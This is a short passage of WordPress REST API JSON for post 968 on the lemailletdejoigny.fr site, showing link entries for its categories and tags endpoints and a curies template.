2\/categories?post=968"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lemailletdejoigny.fr\/index.php\/wp-json\/wp\/v2\/tags?post=968"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}